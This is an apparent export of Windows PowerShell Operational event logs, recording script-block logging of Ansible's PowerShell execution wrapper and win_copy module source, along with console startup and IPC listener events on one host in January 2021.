ICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCi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AgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wdHkgLWVxICRmYWxzZSkgewogICAgICAgICAgICAkdmFsdWUgPSAkZGVmYXVsdAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgtbm90ICRlbXB0eWF0dHJpYnV0ZWZhaWxtZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAkZW1wdHlhd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gICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQo
ScriptBlock ID: dfe48050-f97b-4679-9051-3b2d40796f1f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1597 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3912 | 4944 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:44 AM | dfeadd90-ee34-0004-7626-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05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3RhdGVtZW50KCkuQWRkU2NyaXB0KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2x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d1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKICAgICAgICBVU0VTVERIQU5ETEVTID0gMHgwMDAwMDEwMAogICAgfQoKICAgIHB1YmxpYyBlbnVtIEhhbmRsZUZsYWdzIDogdWludAogICAgewogICAgICAgIE5vbmUgPSAwLAogICAgICAgIElOSEVSSVQgPSAxCiAgICB9CgogICAgY2xhc3MgTmF0aXZlV2FpdEhhbmRsZSA6IFdhaXRIYW5kbGUKICAgIHsKICAgICAgICBwdWJsaWMgTmF0aXZlV2FpdEhhbmRsZShJbnRQdHIgaGFuZGxlKQogICAgICAgIHsKICAgICAgICAgICAgdGhpcy5TYWZlV2FpdEhhbmRsZSA9IG5ldyBTYWZlV2FpdEhhbmRsZShoYW5kbGUsIGZhbHNlKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGNsYXNzIFdpbjMyRXhjZXB0aW9uIDogU3lzdGVtLkNvbXBvbmVudE1vZGVsLldpbjMyRXhjZXB0aW9uCiAgICB7CiAgICAgICAgcHJpdmF0ZSBzdHJpbmcgX21zZzsKCiAgICAgICAgcHVibGljIFdpbjMyRXhjZXB0aW9uKHN0cmluZyBtZXNzYWdlKSA6IHRoaXMoTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpLCBtZXNzYWdlKSB7IH0KCiAgICAgICAgcHVibGljIFdpbjMyRXhjZXB0aW9uKGludCBlcnJvckNvZGUsIHN0cmluZyBtZXNzYWdlKSA6IGJhc2UoZXJyb3JDb2RlKQogICAgICAgIHsKICAgICA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cywKICAgICAgICAgICAgYm9vbCBiSW5oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQg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mluZ0J1aWxkZXIgZW52aXJvbm1lbnRTdHJpbmcgPSBudWxsOwoKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50ICE9IG51bGwgJiYgZW52aXJvbm1lbnQuQ291bnQgPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICAgICAgc2ksCiAgICAgICAgICAgICAgICBvdXQgcGkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkZhaWxlZCB0byBjcmVhdGUgbmV3IHByb2Nlc3MiKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gU2V0dXAgdGhlIG91dHB1dCBidWZmZXJzIGFuZCBnZXQgc3Rkb3V0L3N0ZGVycgogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZG91dF9mcyA9
ScriptBlock ID: dfe48050-f97b-4679-9051-3b2d40796f1f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1596 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3912 | 4944 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:44 AM | dfeadd90-ee34-0004-7626-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1595 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3912 | 4016 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:43 AM | dfeadd90-ee34-0000-c1eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3912 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1594 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3912 | 4400 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:43 AM | dfeadd90-ee34-0000-c1eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1593 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3912 | 4016 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:43 AM | dfeadd90-ee34-0000-c1eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1592 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3552 | 608 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:42 AM | dfeadd90-ee34-0001-0528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3552 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1591 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3552 | 4768 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:42 AM | dfeadd90-ee34-0001-0528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1590 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3552 | 608 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:42 AM | dfeadd90-ee34-0001-0528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1589 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 828 | 2748 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:42 AM | dfeadd90-ee34-0000-b5eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 828 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1588 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 828 | 4208 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:42 AM | dfeadd90-ee34-0000-b5eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1587 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 828 | 2748 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:42 AM | dfeadd90-ee34-0000-b5eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#!powershell
# Copyright: (c) 2015, Jon Hawkesworth (@jhawkesworth) <figs@unity.demon.co.uk>
# Copyright: (c) 2017, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
$ErrorActionPreference = 'Stop'
$params = Parse-Args -arguments $args -supports_check_mode $true
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
$diff_mode = Get-AnsibleParam -obj $params -name "_ansible_diff" -type "bool" -default $false
# there are 4 modes to win_copy which are driven by the action plugins:
# explode: src is a zip file which needs to be extracted to dest, for use with multiple files
# query: win_copy action plugin wants to get the state of remote files to check whether it needs to send them
# remote: all copy action is happening remotely (remote_src=True)
# single: a single file has been copied, also used with template
$copy_mode = Get-AnsibleParam -obj $params -name "_copy_mode" -type "str" -default "single" -validateset "explode","query","remote","single"
# used in explode, remote and single mode
$src = Get-AnsibleParam -obj $params -name "src" -type "path" -failifempty ($copy_mode -in @("explode","process","single"))
$dest = Get-AnsibleParam -obj $params -name "dest" -type "path" -failifempty $true
# used in single mode
$original_basename = Get-AnsibleParam -obj $params -name "_original_basename" -type "str"
# used in query and remote mode
$force = Get-AnsibleParam -obj $params -name "force" -type "bool" -default $true
# used in query mode, contains the local files/directories/symlinks that are to be copied
$files = Get-AnsibleParam -obj $params -name "files" -type "list"
$directories = Get-AnsibleParam -obj $params -name "directories" -type "list"
$symlinks = Get-AnsibleParam -obj $params -name "symlinks" -type "list"
$result = @{
changed = $false
}
if ($diff_mode) {
$result.diff = @{}
}
Function Copy-File($source, $dest) {
$diff = ""
$copy_file = $false
$source_checksum = $null
if ($force) {
$source_checksum = Get-FileChecksum -path $source
}
if (Test-Path -Path $dest -PathType Container) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': dest is already a folder"
} elseif (Test-Path -Path $dest -PathType Leaf) {
if ($force) {
$target_checksum = Get-FileChecksum -path $dest
if ($source_checksum -ne $target_checksum) {
$copy_file = $true
}
}
} else {
$copy_file = $true
}
if ($copy_file) {
$file_dir = [System.IO.Path]::GetDirectoryName($dest)
# validate the parent dir is not a file and that it exists
if (Test-Path -Path $file_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
} elseif (-not (Test-Path -Path $file_dir)) {
# directory doesn't exist, need to create
New-Item -Path $file_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
$diff += "+$file_dir\`n"
}
if (Test-Path -Path $dest -PathType Leaf) {
Remove-Item -Path $dest -Force -Recurse -WhatIf:$check_mode | Out-Null
$diff += "-$dest`n"
}
if (-not $check_mode) {
# cannot run with -WhatIf:$check_mode as if the parent dir didn't
# exist and was created above would still not exist in check mode
Copy-Item -Path $source -Destination $dest -Force | Out-Null
}
$diff += "+$dest`n"
$result.changed = $true
}
